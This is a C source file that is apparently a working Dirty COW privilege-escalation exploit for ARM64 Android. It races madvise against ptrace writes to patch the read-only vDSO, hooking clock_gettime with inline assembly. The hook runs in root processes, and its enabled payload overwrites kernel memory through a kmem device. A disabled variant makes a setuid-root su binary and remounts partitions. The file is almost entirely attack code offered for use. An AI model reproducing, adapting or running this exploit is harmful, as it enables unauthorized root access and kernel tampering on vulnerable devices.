#define _GNU_SOURCE
#include <err.h>
#include <elf.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sched.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/auxv.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/ptrace.h>
#include <sys/wait.h>

#define PAGE_SIZE	4096
struct trans_info {
	void *dest;
	void *src;
	unsigned long size;
};

static void *madvise_thread(void *arg)
{
	int i, count = 0;
	struct trans_info *t = arg;
	void *dest = (void *)(((unsigned long)t->dest) & ~(PAGE_SIZE - 1));
	int loop = t->size * 100000 / 4;
	size_t length = PAGE_SIZE;

	printf("[*] madvise_thread start..\n");
	for (i = 0; i < loop; i++)
		count += madvise(dest, length, MADV_DONTNEED);
	printf("[*] madvise_thread exit.\n");

	return NULL;
}

static int debuggee(void *arg)
{
	(void) arg;
	if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) == -1) {
		printf("[-] PR_SET_PDEATHSIG\n");
		return -1;
	}

	if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) {
		printf("[-] PTRACE_TRACEME\n");
		return -1;
	}

	kill(getpid(), SIGSTOP);

	return 0;
}

void ptrace_memcpy(pid_t pid, struct trans_info *t)
{
	unsigned long i, j;
	unsigned long *dest, *src;
	unsigned long size = t->size / 8;

	for (i = 0; i < 100000; i++) {
		dest = t->dest;
		src = t->src;
		for (j = 0; j < size; j++) {
			ptrace(PTRACE_POKETEXT, pid, dest, *src);
			dest++;
			src++;
		}
	}
}

static char child_stack[4096 * 4];

static void *ptrace_thread(void *arg)
{
	pid_t pid;
	int status;
	unsigned long stack = (unsigned long) &child_stack[8192];
	stack &= ~(8192-1);

	pid =
	    clone(debuggee, (void *) stack, CLONE_VM | CLONE_PTRACE, NULL);
	if (pid < 0) {
		printf("[-] clone: errno=%d\n", errno);
		exit(1);
	}

	if (waitpid(pid, &status, __WALL) == -1) {
		printf("[-] waitpid\n");
		exit(1);
	}

	ptrace_memcpy(pid, arg);

	if (ptrace(PTRACE_CONT, pid, NULL, NULL) == -1) {
		printf("[-] ptrace(PTRACE_CONT)");
		exit(1);
	}
	waitpid(pid, NULL, __WALL);
	return NULL;
}

int exploit(void *dest, void *src, unsigned long size)
{
	pthread_t pth1, pth2;
	unsigned long t1 = (unsigned long) dest;
	unsigned long t2 = (unsigned long) src;

	if ((t1 & 0x7) != (t2 & 0x7)) {
		printf("[-] address not aligned!\n");
		return -EINVAL;
	}

	if (t1 & 0x4) { /* make address 8 bytes aligned */
		t1 -= 4;
		t2 -= 4;
		size += 4;
	} else if (size & 0x4) {
		size += 4;
	}

	struct trans_info arg = {
		.dest = (void *) t1,
		.src = (void *) t2,
		.size = size,
	};

	pthread_create(&pth1, NULL, madvise_thread, &arg);
	pthread_create(&pth2, NULL, ptrace_thread, &arg);

	pthread_join(pth1, NULL);
	pthread_join(pth2, NULL);

	return 0;
}

//////////////////////////////////

static int read_line(int fd, char buf[])
{
	int i = 0;
	int ret;
	do {
		ret = read(fd, &buf[i], 1);
		if (buf[i] == '\n') {
			buf[i + 1] = '\0';
			return i;
		}
		i++;
	} while (ret > 0);
	return ret;
}

static int get_vdso_info(unsigned long *start, unsigned long *end)
{
	int fd;
	char buf[160];
	int ret;
	fd = open("/proc/self/maps", O_RDONLY);
	if (fd < 0)
		return -EINVAL;
	do {
		ret = read_line(fd, buf);
		if (strstr(buf, "vdso")) {
			sscanf(buf, "%lx-%lx", start, end);
		}
	} while (ret > 0);
	close(fd);

	return 0;
}

static int save_vdso(char *name, unsigned long start, unsigned long size)
{
	int fd;

	unlink(name);
	fd = open(name, O_RDWR | O_CREAT | O_TRUNC, 0666);
	if (fd < 0)
		return -EINVAL;

	write(fd, (void *)start, size);

	close(fd);
	chmod(name, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP);

	return 0;
}

static int find_addr_by_symbol(unsigned long *addr, unsigned long *size,
			       Elf64_Ehdr * eh, char *name)
{
	size_t base = (size_t)eh;
	Elf64_Shdr *shdr = (Elf64_Shdr *) (base + eh->e_shoff);
	int i;

	for (i = 0; i < eh->e_shnum; i++) {
		if (shdr[i].sh_type == SHT_DYNSYM) {
			int str_idx;
			int sym_count;
			int j;
			char *str_tbl;
			Elf64_Sym *sym;

			str_idx = shdr[i].sh_link;
			sym = (Elf64_Sym *) (base + shdr[i].sh_offset);
			str_tbl = (char *)(base + shdr[str_idx].sh_offset);
			sym_count = shdr[i].sh_size / sizeof(Elf64_Sym);
			for (j = 0; j < sym_count; j++)
				if (strcmp(str_tbl + sym[j].st_name, name) == 0) {
					*addr =
					    shdr[sym[j].st_shndx].sh_offset +
					    base -
					    shdr[sym[j].st_shndx].sh_addr +
					    sym[j].st_value;
					*size = sym[j].st_size;
					return 0;
				}
			break;
		}
	}

	return -EINVAL;
}

#define EM_AARCH64	183	/* ARM 64 bit */

static int check_elf(Elf64_Ehdr * eh, Elf64_Half machine)
{
	if (strncmp((char *)eh->e_ident, "\177ELF", 4) != 0)
		return 0;
	if (eh->e_machine != machine)
		return 0;
	return 1;
}

static long get_vdso_size(Elf64_Ehdr * eh)
{
	return eh->e_shoff + sizeof(Elf64_Shdr) * eh->e_shnum;
}

static int is_inst_ret(int *pc)
{
	unsigned int inst = *pc;
	//return (inst & 0xfffffc1f) == 0xd65f0000;
	return (inst == 0xd65f03c0);
}

static int format_inst_b(long pc, long targ)
{
	long delta = ((targ - pc) >> 2) & 0x3ffffff;
	return (0x5<<26) | delta;
}

static int calculate_function_size(void *fn)
{
	int *p = fn;
	int i = 0;

	for (i = 0; i++ < 1024*1024; p++) {
		if (is_inst_ret(p)) {
			return i * 4; /* each instrustion size is 4 */
		}
	}
	return 0;
}

static void hook_text(void)
{
	/* WARNING: don't put ret instrustion in the payload! */

#if 0   /* cant push su in /data/local/tmp,
	 * which's selinux context is not the same with /data/local/tmp/mnt!
	 */
	/* chmod("/data/local/tmp/mnt/su", 06777);
	 * chown("/data/local/tmp/mnt/su", 0, 0);
	 * mount("/dev/block/dm-2", "/data", remount);
	 */
	asm volatile (" sub sp, sp, #0x100 \n\
			stp x0, x1, [sp, #0] \n\
			stp x2, x3, [sp, #0x10] \n\
			stp x4, x8, [sp, #0x20] \n\
			\n\
			mov w8, #174 // getuid \n\
			svc #0 \n\
			cbnz x0, 8f \n\
			\n\
			mov x0, #-100 \n\
			adr x1, 30f \n\
			mov x2, #0 \n\
			mov x3, #0 \n\
			mov x4, #0 \n\
			mov w8, #54 // fchownat \n\
			svc #0 \n\
			\n\
			mov x0, #-100 \n\
			adr x1, 30f \n\
			mov x2, #06755 \n\
			mov x3, #0 \n\
			mov w8, #53 // fchmodat \n\
			svc #0 \n\
			\n\
			adr x0, 20f // source \n\
			adr x1, 21f // target \n\
			adr x2, 22f // fs-type \n\
			mov x3, #32 // remount \n\
			adr x4, 23f // data \n\
			mov w8, #40 // mount \n\
			svc #0 \n\
			adr x0, 40f // source \n\
			adr x1, 41f // target \n\
			adr x2, 42f // fs-type \n\
			mov x3, #0 // \n\
			adr x4, 43f // data \n\
			mov w8, #40 // mount \n\
			svc #0 \n\
			\n\
			8: \n\
			ldp x0, x1, [sp, #0] \n\
			ldp x2, x3, [sp, #0x10] \n\
			ldp x4, x8, [sp, #0x20] \n\
			add sp, sp, 0x100 \n\
			b 9f\n\
			.align 3 \n\
			20: \n\
			.string \"/dev/block/dm-2\" \n\
			.align 3 \n\
			21: \n\
			.string \"/data\" \n\
			.align 3 \n\
			22: \n\
			.string \"f2fs\" \n\
			.align 3 \n\
			23: \n\
			.string \"\" \n\
			.align 3 \n\
			30: \n\
			.string \"/data/local/tmp/mnt/su\" \n\
			.align 3 \n\
			40: \n\
			.string \"/dev/block/mmcblk1p1\" \n\
			.align 3 \n\
			41: \n\
			.string \"/sys/kernel/config\" \n\
			.align 3 \n\
			42: \n\
			.string \"ext4\" \n\
			.align 3 \n\
			43: \n\
			.string \"\" \n\
			.align 2 \n\
			9:\n"::);
	/*
	   // It works!!
			adr x0, 40f // source \n\
			adr x1, 41f // target \n\
			adr x2, 42f // fs-type \n\
			mov x3, #0 // \n\
			adr x4, 43f // data \n\
			mov w8, #40 // mount \n\
			svc #0 \n\

			40: \n\
			.string \"/dev/block/mmcblk1p1\" \n\
			.align 3 \n\
			41: \n\
			.string \"/sys/kernel/config\" \n\
			.align 3 \n\
			42: \n\
			.string \"ext4\" \n\
			.align 3 \n\
			43: \n\
			.string \"\" \n\
	*/
	/*  // doesn't work, selinux blocked.
			mov x0, #-100 \n\
			adr x1, 40f \n\
			mov x2, #060666 // mode \n\
			mov x3, #0102 // dev: kmem \n\
			mov w8, #33 // mknodat \n\
			svc #0\n\
			\n\

			.align 3 \n\
			40: \n\
			.string \"/mnt/kmem\" \n\

	 */
#endif

#if 1 /* almost there! */
	asm volatile (" sub sp, sp, #0x100 \n\
			stp x0, x1, [sp, #0] \n\
			stp x2, x3, [sp, #0x10] \n\
			stp x4, x8, [sp, #0x20] \n\
			stp x22, x23, [sp, #0x30] \n\
			mov w8, #174 // getuid \n\
			svc #0 \n\
			cbnz x0, 8f \n\
			\n\
			mov x0, #-100 \n\
			adr x1, 40f \n\
			mov x2, #2 // O_RDWR \n\
			mov x3, #0666 \n\
			mov w8, #56 // openat \n\
			svc #0 \n\
			mov x22, x0 \n\
			add x1, x0, #1 \n\
			cbz x1, 8f // open failed \n\
			\n\
			mov x0, x22 // fd \n\
			movz x1, #0xffff, lsl #48 \n\
			movk x1, #0xffc0, lsl #32 \n\
			movk x1, #0x0153, lsl #16 \n\
			movk x1, #0xbf48, lsl #00 \n\
			mov x2, #0x0 // SEEK_SET \n\
			mov w8, #62 // lseek \n\
			svc #0 \n\
			add x0, x0, #1 \n\
			cbz x0, 8f // return -1? \n\
			mov x23, 0x10000 \n\
			5: \n\
			mov x0, x22 \n\
			add x1, sp, 0x50 \n\
			str xzr, [x1] \n\
			mov x2, #0x8 \n\
			mov w8, #64 // write \n\
			svc #0 \n\
			sub x23, x23, #1 \n\
			cbnz x23, 5b \n\
			\n\
			mov x0, x22 \n\
			mov w8, #57 //close \n\
			svc #0\n\
			\n\
			8: \n\
			ldp x0, x1, [sp, #0] \n\
			ldp x2, x3, [sp, #0x10] \n\
			ldp x4, x8, [sp, #0x20] \n\
			ldp x22, x23, [sp, #0x30] \n\
			add sp, sp, 0x100 \n\
			b 9f\n\
			\n\
			.align 3 \n\
			40: .string \"/sys/kernel/config/kmem\" \n\
			.align 2 \n\
			9: \n"::);
#endif
}

#define PATCH_SIZE	512
int main(int argc, char *argv[])
{
	int vdso_size;
	int ret;
	unsigned long vdso_start, vdso_end;
	unsigned long hook;
	unsigned long func_addr, func_size;
	unsigned long addr, size;
	void *vdso_hack;
	int *cursor;

	(void) argc;
	(void) argv;

	ret = get_vdso_info(&vdso_start, &vdso_end);
	if (ret < 0) {
		printf("[-] can't get vdso info\n");
		return 0;
	}
	if (check_elf((Elf64_Ehdr *) vdso_start, EM_AARCH64) == 0) {
		printf("[-] ELFMAGIC mismatch!\n");
		return 0;
	}
	vdso_size = get_vdso_size((Elf64_Ehdr *) vdso_start);
	if (vdso_start + vdso_size + PATCH_SIZE > vdso_end) {
		printf("[-] no such space for patch!\n");
		return 0;
	}
	vdso_hack = malloc(vdso_size + PATCH_SIZE + 4);
	if (!vdso_hack)
		return -ENOMEM;
	vdso_hack = (void *)(((unsigned long) vdso_hack + 0x3) & ~0x3);
	memcpy(vdso_hack, (void *)vdso_start, vdso_size);

	ret = find_addr_by_symbol(&func_addr, &func_size,
				(Elf64_Ehdr *) vdso_hack,
				"__vdso_clock_gettime");
	if (ret != 0) {
		ret = find_addr_by_symbol(&func_addr, &func_size,
					(Elf64_Ehdr *) vdso_hack,
					"__kernel_clock_gettime");
	}
	if (ret != 0) {
		printf("[*] can't find clock_gettime, exiting..\n");
		return 0;
	}

	/* make address 4 bytes aligned */
	hook = ((unsigned long)vdso_hack + vdso_size + 0x3) & ~0x3;
	size = (unsigned long) calculate_function_size((void *)hook_text);
	printf("[*] inject code size =%ld\n",size);
	memcpy((void *)hook, (void *)hook_text, size);

	size = func_size;
	addr = func_addr + func_size;
	for (cursor = (int *) addr; size -= 4; cursor--) {
		if (is_inst_ret(cursor))
			*cursor = format_inst_b((unsigned long) cursor, hook);
		/*
		 * note: the last instrustion of hook_text is also a ret,
		 * So we ret to the caller correctly 
		 */
	}

	printf("[*] save patched vdso: vdso.so\n");
	save_vdso("vdso.so", (unsigned long)vdso_hack,
		  vdso_size + PATCH_SIZE);

	addr = (vdso_start + vdso_size + 0x3) & ~0x3;
	size = (unsigned long) calculate_function_size((void *)hook_text);
	exploit((void *)addr, (void *)hook, size + 4);

	addr = func_addr - (unsigned long) vdso_hack + vdso_start;
	exploit((void *) addr, (void *)func_addr, func_size);

	return 0;
}
